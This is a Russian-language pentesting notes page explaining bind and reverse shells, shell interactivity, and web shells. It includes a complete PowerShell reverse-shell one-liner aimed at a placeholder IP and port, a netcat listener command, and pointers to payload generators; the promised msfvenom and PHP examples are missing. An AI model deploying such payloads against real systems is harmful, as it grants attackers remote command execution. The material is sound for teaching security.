Reverse shell
Shell - общее название текстового командного интерфейса (CLI).
Используя такие утилиты как netcat (nc)
, socat
, Metasploit --multi/handler
, Msfvenom
можно, используя специальный код, подключится к удаленной машине или заставить эту машину подключится к машине атакующего.
В контексте управления через CLI удаленными машинами, различают два типа shell:
-
Bind shell - Оболочка (payload) запускается на машине атакующего и подключается через вышеуказанные утилиты к удаленной машине (listener).
-
Reverse shell - Оболочка (payload) запускается на удаленной машине и отправляет данные на машину атакующего (listener).
Понятно, что reverse shell является предпочтительными вариантом, так по своей природе позволяет обходить inbound правила файрвола.
Кроме типа подключения, shell можно разделить на интерактивные и неинтерактивные. Отличаются они друг от друга тем, что в неинтерактивной оболочке, нет возможности взаимодействовать с системой, к примеру нельзя нажать yes или no на задаваемые в процессе работы вопросы.
Подключения создаваемые по умолчанию через nc являются неинтерактивными и для приведения их к интерактивному виду нужно провести мероприятия по стабилизации оболочки. Подробнее о стабилизации для каждого инструмента написано на странице инструмента.
В общем случае reverse shell работает следующим образом:
на машине жертвы запукается payload для reverse shell представляющий из себя как правило команду которая, например через mkfifo
, создает канал в который перенаправляется оболочка (/bin/bash
или C:\WINDOWS\System32\cmd.exe
). Далее этот канал отдается через nc
на адрес и определенный порт на машине атаккующего.
на машине жертвы открывается соединение на исходящий порт машины атакующего.
атакующий слушает этот порт (nc -l[n]vp $PORT) и может посылать команды которые будут выполнятся в переданной оболочке, а их вывод будет также приходить на слушаемый порт.
Примеры Payloads для reverse shell.
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
msfvenom модуль reverse_netcat :
Про reverse shell еще написано на страницах о netcat, socat, msfvenom Различные payloads могут быть найдены на Payloads all the thing, а по адресу https://www.revshells.com/ вообще находится целый конструктор.
web shells
Скрипт который запускается на web сервере и позволяет выполнять произвольный код.
Попасть на сервер он может через html форму, или через параметры запроса.
По сути является одним из видов инъекций.
Набор всевозможных web shell есть в kali в директории /usr/share/webshells
В качестве примера, простой php скрипт для RCE того кода который был ему передан через параметры:
использование:Будет больше пользы если просматривать результаты через source code сайта.